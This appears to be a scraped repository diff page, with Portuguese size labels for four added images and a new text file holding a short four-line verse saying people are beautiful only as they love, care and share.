Depois Largura: | Altura: | Tamanho: 31 KiB |
|
Depois Largura: | Altura: | Tamanho: 30 KiB |
|
Depois Largura: | Altura: | Tamanho: 30 KiB |
|
Depois Largura: | Altura: | Tamanho: 30 KiB |
@@ -0,0 +1,4 @@
|
||||
people are not as beautiful as they look,
|
||||
as they walk or as they talk.
|
||||
they are only as beautiful as they love,
|
||||
as they care as they share.
|
||||